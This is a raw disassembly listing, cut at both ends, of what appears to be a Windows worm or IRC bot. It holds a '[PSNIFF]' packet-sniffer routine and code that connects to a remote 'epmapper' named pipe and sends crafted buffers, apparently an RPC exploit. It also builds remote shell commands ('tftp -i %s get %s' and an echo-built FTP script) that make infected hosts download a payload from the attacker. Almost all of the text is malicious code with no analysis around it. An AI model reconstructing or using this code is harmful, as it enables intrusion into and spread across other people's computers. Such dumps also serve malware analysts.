		jnz	short loc_402841
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h

loc_402841:				; CODE XREF: sub_402688+197j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	dword_43F700
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		push	esi
		call	near ptr 25F030Eh
		nop

loc_402865:				; CODE XREF: sub_402688+177j
		push	ebx
		mov	ebx, offset dword_426C78

loc_40286B:				; CODE XREF: sub_402688+21Bj
					; sub_402688+22Dj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_102B4]
		push	edi
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_102B4]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_43F680
		cmp	eax, 0FFFFFFFFh
		jz	loc_40297D
		cmp	[ebp+var_102AB], 6
		jnz	short loc_40286B
		mov	eax, [ebp+var_102A8]
		cmp	[ebp+var_10293], 18h
		mov	[ebp+var_C], eax
		jnz	short loc_40286B
		lea	eax, [ebp+var_1028C]
		push	offset aPsniff	; "[PSNIFF]"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40286B
		mov	eax, ebx
		xor	edi, edi
		test	eax, eax
		jz	short loc_40286B
		mov	[ebp+arg_0], ebx

loc_4028D9:				; CODE XREF: sub_402688+26Cj
		push	eax
		lea	eax, [ebp+var_1028C]
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4028FB
		inc	edi
		add	[ebp+arg_0], 18h
		mov	eax, [ebp+arg_0]
		jnz	short loc_4028D9
		jmp	loc_40286B
; ---------------------------------------------------------------------------

loc_4028FB:				; CODE XREF: sub_402688+262j
		lea	eax, [ebp+var_1028C]
		push	eax
		push	[ebp+var_102A0]
		call	dword_43F5A4
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		call	dword_43F6F4
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, dword_426C8C[eax*8]
		push	off_426C68[eax*4]
		lea	eax, [ebp+var_2B4]
		push	offset unk_427528
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_40296B
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h

loc_40296B:				; CODE XREF: sub_402688+2C1j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		jmp	loc_40286B
; ---------------------------------------------------------------------------

loc_40297D:				; CODE XREF: sub_402688+20Ej
		call	dword_43F5FC
		push	eax
		push	offset unk_4274E4
		lea	eax, [ebp+var_2B4]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+var_28], esi
		pop	ebx
		jnz	short loc_4029C3
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h

loc_4029C3:				; CODE XREF: sub_402688+319j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	[ebp+var_4]
		call	dword_43F700
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		push	esi
		call	near ptr 25F030Eh
		nop
sub_402688	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4029E9	proc near		; CODE XREF: sub_402DD7+28p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_427B6C
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset asc_427B64 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_43C80C
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		nop
		call	near ptr 2620000h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_43C808
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_43F708
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_402AAD
		cmp	eax, ebx
		jnz	short loc_402AB7

loc_402AAD:				; CODE XREF: sub_4029E9+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_43F708

loc_402AB7:				; CODE XREF: sub_4029E9+C2j
		cmp	eax, 5
		jz	short loc_402AC5
		cmp	eax, ebx
		jz	short loc_402AC5
		push	1
		pop	eax
		jmp	short loc_402AC7
; ---------------------------------------------------------------------------

loc_402AC5:				; CODE XREF: sub_4029E9+D1j
					; sub_4029E9+D5j
		xor	eax, eax

loc_402AC7:				; CODE XREF: sub_4029E9+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4029E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402ACC	proc near		; CODE XREF: sub_402DD7+7Ap
					; sub_402DD7+15Ap

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_427B6C
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset asc_427B64 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_43C80C
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		nop
		call	near ptr 2620000h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		add	esp, 10h

loc_402B5D:				; CODE XREF: sub_402ACC+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_43F5A8
		test	eax, eax
		jz	short loc_402B7D
		push	7D0h
		nop
		call	near ptr 26003D2h
		jmp	short loc_402B5D
; ---------------------------------------------------------------------------

loc_402B7D:				; CODE XREF: sub_402ACC+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_402ACC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B84	proc near		; CODE XREF: sub_402DD7+A9p
					; sub_402DD7+1E7p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_417B30
		push	esi
		push	edi
		push	offset byte_42F678
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_416BCD
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_402DD3
		push	ebx
		mov	ebx, offset off_427A80
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_417390
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_417390
		add	esp, 24h
		lea	esi, [edi+0D7h]

loc_402C09:				; CODE XREF: sub_402B84+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_402C59
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_417390
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_417390
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_402C09
; ---------------------------------------------------------------------------

loc_402C59:				; CODE XREF: sub_402B84+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_402C74
		cmp	[ebp+arg_C0], 3
		jz	short loc_402C7D
		cmp	[ebp+arg_C0], 0
		jmp	short loc_402C7B
; ---------------------------------------------------------------------------

loc_402C74:				; CODE XREF: sub_402B84+DCj
		cmp	[ebp+arg_C0], 3

loc_402C7B:				; CODE XREF: sub_402B84+EEj
		jnz	short loc_402C86

loc_402C7D:				; CODE XREF: sub_402B84+E5j
		push	4
		push	offset dword_427B60
		jmp	short loc_402C8D
; ---------------------------------------------------------------------------

loc_402C86:				; CODE XREF: sub_402B84:loc_402C7Bj
		push	4
		push	offset dword_427B5C

loc_402C8D:				; CODE XREF: sub_402B84+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_427694
		push	eax
		call	sub_417390
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_4279F8
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_417390
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_427A0C
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_417390
		add	edi, 3Ch
		push	30h
		push	offset dword_427A4C
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_417390
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_417B89
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_417330
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_417390
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx

loc_402DD3:				; CODE XREF: sub_402B84+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_402B84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402DD7	proc near		; CODE XREF: sub_407767+1EAp
					; DATA XREF: ___:off_42ACB4o

var_1338	= byte ptr -1338h
var_338		= byte ptr -338h
var_138		= byte ptr -138h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_417B30
		cmp	[ebp+arg_A0], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_402F45
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4029E9
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403055
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_138]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp+var_138]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		nop
		call	near ptr 2650975h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_402E5C

loc_402E4D:				; CODE XREF: sub_402DD7+126j
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_402ACC
		pop	ecx
		jmp	loc_403055
; ---------------------------------------------------------------------------

loc_402E5C:				; CODE XREF: sub_402DD7+74j
		lea	eax, [ebp+arg_4]
		push	2
		push	eax
		call	sub_40D4C5
		pop	ecx
		lea	esi, [ebp+arg_0]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402B84
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	short loc_402EF4
		mov	edi, 186A0h
		push	edi
		call	sub_417B89
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_417330
		add	esp, 10h
		lea	eax, [ebp+var_C]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_427648
		push	[ebp+var_4]
		nop
		call	near ptr 2650000h
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_402EE4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jnz	short loc_402F02

loc_402EE4:				; CODE XREF: sub_402DD7+F3j
		push	esi
		call	sub_417C3B
		push	[ebp+var_8]
		call	sub_417C3B
		pop	ecx
		pop	ecx

loc_402EF4:				; CODE XREF: sub_402DD7+B9j
		push	[ebp+var_4]
		nop
		call	near ptr 26309DCh
		jmp	loc_402E4D
; ---------------------------------------------------------------------------

loc_402F02:				; CODE XREF: sub_402DD7+10Bj
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	[ebp+var_4]
		call	near ptr 2630000h
		nop
		push	[ebp+var_8]
		mov	edi, eax
		call	sub_417C3B
		push	esi
		call	sub_417C3B
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		nop
		call	near ptr 26309DCh
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_402ACC
		cmp	edi, 1
		pop	ecx
		jnz	loc_403066
		jmp	loc_403055
; ---------------------------------------------------------------------------

loc_402F45:				; CODE XREF: sub_402DD7+1Aj
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		call	sub_40D4C5
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_403055
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_43F6E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_403055
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+arg_A0]
		call	dword_43F668
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_43F6A8
		mov	[ebp+var_20], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402B84
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp+var_8], esi
		jnz	short loc_402FD7
		push	[ebp+var_4]
		jmp	short loc_40304F
; ---------------------------------------------------------------------------

loc_402FD7:				; CODE XREF: sub_402DD7+1F9j
		mov	edi, [ebp+var_4]
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402FEF

loc_402FEC:				; CODE XREF: sub_402DD7+22Aj
		push	esi
		jmp	short loc_403048
; ---------------------------------------------------------------------------

loc_402FEF:				; CODE XREF: sub_402DD7+213j
		push	ebx
		push	48h
		push	offset dword_427648
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402FEC
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_43F680
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403030
		push	[ebp+var_8]
		jmp	short loc_403048
; ---------------------------------------------------------------------------

loc_403030:				; CODE XREF: sub_402DD7+252j
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_43F680
		push	[ebp+var_8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403059

loc_403048:				; CODE XREF: sub_402DD7+216j
					; sub_402DD7+257j
		call	sub_417C3B
		pop	ecx
		push	edi

loc_40304F:				; CODE XREF: sub_402DD7+1FEj
		call	dword_43F700

loc_403055:				; CODE XREF: sub_402DD7+31j
					; sub_402DD7+80j ...
		xor	eax, eax
		jmp	short loc_4030C7
; ---------------------------------------------------------------------------

loc_403059:				; CODE XREF: sub_402DD7+26Fj
		call	sub_417C3B
		pop	ecx
		push	edi
		call	dword_43F700

loc_403066:				; CODE XREF: sub_402DD7+163j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_338]
		push	offset unk_427B78
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_40307E:				; CODE XREF: sub_402DD7+2C7j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40C04D
		test	eax, eax
		pop	ecx
		jnz	short loc_4030A2
		push	1388h
		nop
		call	near ptr 26003D2h
		inc	ebx
		cmp	ebx, 6
		jl	short loc_40307E
		jmp	short loc_4030C4
; ---------------------------------------------------------------------------

loc_4030A2:				; CODE XREF: sub_402DD7+2B6j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]

loc_4030C4:				; CODE XREF: sub_402DD7+2C9j
		push	1
		pop	eax

loc_4030C7:				; CODE XREF: sub_402DD7+280j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402DD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4030CC	proc near		; DATA XREF: ___:00426004o
		jmp	$+5
sub_4030CC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4030D1	proc near
		push	0BB80h
		push	76Ch
		call	sub_415450
		pop	ecx
		mov	dword_43C810, eax
		pop	ecx
		retn
sub_4030D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030E8	proc near		; CODE XREF: sub_403249+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43F6A8
		mov	[ebp+var_C], eax
		mov	ax, word ptr dword_43C810
		push	eax
		call	dword_43F668
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_43F6E8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403222
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jz	loc_403222
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43F680
		mov	esi, offset byte_42F678
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 18h
		push	esi
		push	esi
		push	dword_43C83C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403222
		push	1F4h
		call	near ptr 26003D2h
		nop
		push	esi
		push	offset dword_428598
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403226

loc_403222:				; CODE XREF: sub_4030E8+51j
					; sub_4030E8+67j ...
		xor	al, al
		jmp	short loc_403244
; ---------------------------------------------------------------------------

loc_403226:				; CODE XREF: sub_4030E8+138j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43F680
		push	ebx
		call	dword_43F700
		mov	al, 1

loc_403244:				; CODE XREF: sub_4030E8+13Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4030E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403249	proc near		; CODE XREF: ___:004037ADp
					; ___:004037CFp

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_417B30
		mov	eax, dword_428634
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_428638
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_428628
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]

loc_403288:				; CODE XREF: sub_403249+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_403288
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_4280B8
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AB0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_417390
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_417AB0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AB0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AB0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_417390
		mov	ax, word ptr dword_43C810
		add	esp, 2Ch
		push	eax
		call	dword_43F668
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_427DB8
		call	sub_417390
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_403445
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_4284E0[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_417390
		mov	esi, offset loc_427D08
		push	esi
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_428620
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_417390
		add	esp, 40h
		push	esi
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_417390
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]

loc_4033FE:				; CODE XREF: sub_403249+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_4033FE
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_417330
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_417330
		add	esp, 18h
		jmp	short loc_40349C
; ---------------------------------------------------------------------------

loc_403445:				; CODE XREF: sub_403249+118j
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
